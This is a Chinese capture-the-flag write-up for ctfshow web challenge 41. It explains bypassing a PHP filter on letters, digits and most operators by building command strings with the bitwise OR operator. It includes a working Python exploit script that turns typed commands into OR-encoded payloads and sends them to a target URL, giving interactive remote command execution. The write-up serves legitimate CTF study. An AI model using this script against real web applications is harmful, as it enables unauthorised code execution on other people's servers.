ctfshow web入门41
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时甚至过滤了字母和数字。
但是特意留了个或运算符|。
由此我们可以尝试从ascii为0-255的字符中,找到用或运算能得到我们可用的字符。
羽师傅给了两个脚本(详见篇末的博客链接):
这个脚本用于生成可用字符的集合
跑完之后我们得到:
其中使用的都是十六进制
比如A,十六进制的四十是64 ,64+1等于65,正是A的ascll码
另外PHP大小写都合法,或运算能得到ascll码之后,我们可以上手拼命令了(
问题来了,虽然拼出来了,但是是不能执行的。
可以看到里面是有换行符(%0d %0c),会影响命令的执行。
这时候我们看看羽师傅的第二个脚本:
大体意思就是 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数get flag
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
\#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
本题考点是如何用异或构造任意的字符。
https://blog.csdn.net/miuzzx/article/details/108569080
ctfshow web入门41的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- 8、web入门回顾/ Http
1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作 : 启动: %tomcat%/bin/startup.bat 关闭: % ...
- python web入门程序
python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...
- Java web 入门知识 及HTTP协议详解
Java web 入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...
- Java Web入门经典扫描版
全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...
- Delphi XE2 之 FireMonkey 入门(41) - 控件基础: TListBox
Delphi XE2 之 FireMonkey 入门(41) - 控件基础: TListBox TScrollBox -> TCustomListBox -> TListBox; 其元素项 ...
- Golang Web入门(4):如何设计API
摘要 在之前的几篇文章中,我们从如何实现最简单的HTTP服务器,到如何对路由进行改进,到如何增加中间件.总的来讲,我们已经把Web服务器相关的内容大概梳理了一遍了.在这一篇文章中,我们将从最简单的一个 ...
随机推荐
- ubuntu18 电脑重启后登录后无法进入桌面
ubuntu18 电脑重启后登录后无法进入桌面 应该是ubuntu桌面管理器gdm3和nvidia驱动冲突导致的 解决办法: 首先卸载已有的nvidia驱动 注意:在下载完驱动后,此时电脑没有驱动文件 ...
- gitignore文件中忽略项不起作用的解决方法
在使用git的时候会遇到这样的情况,我们生产的一些class或者target的目录,我不能提交,这个时候我们需要使用gitignore,但是有的时候虽然添加了,但是不起作用. 情况:开发过程中,我们自 ...
- sql server 最近执行语句统计查询分析
查询语句: select * from ( SELECT [RowNumber],DATEDIFF(second, StartTime, isnull(EndTime ,StartTime)) 执行时 ...
- 2022-05-09内部群每日三题-清辉PMP
1.项目经理面对一个由两个合资企业组成的指导委员会,他们拥有对立的优先级.一个伙伴希望加快进度:而第二个合作伙伴想要高质量,并且愿意接受更长时间的进度.若要解决这个冲突,项目经理应该怎么做? A.将该 ...
- 删除指定 route ip 段
route del -net 172.18.0.0 netmask 255.255.0.0
- iOS ProtocolBuffer使用介绍
ProtocolBuffer 简介 Protocol Buffer 是google 的一种数据交换的格式 Protocol Buffer 和 XML.JSON一样都是结构数据序列化的工具,但它们的数据 ...
- node版本和用的包不兼容问题,头疼
经常遇到node版本和包不兼容的问题,在茫茫大海中学习的时候发现一个nvm,可以随时切换node版本,简直不要太开心,附上流程 环境windows 首先:下载一个nvm包https://github. ...
- 地理信息技术GIS学习(3):数据表操作、图表制作、地图编辑(上海市行政区划图)
数据表操作.图表制作内容主要来自 张明明的<ArcGis 10.1 超级学习手册>,其博客的电子数据已经找不到. 一.数据表操作 ArcMap中以属性表的形式来组织和管理要素的属性信息.每 ...
- layui伸缩左侧菜单栏,已伸缩成功但是右侧主体部分不动
<ul class="layui-nav layui-nav-tree" lay-filter="test" style="width:200p ...
- 微积分 II 笔记
5.1 定积分的概念 定义 定积分是积分的一种,是函数 \(f(x)\) 在区间 \([a,b]\) 上积分和的极限 若 \(f(x)\) 在 \([a, b]\) 有界,在 \([a, b]\) 上 ...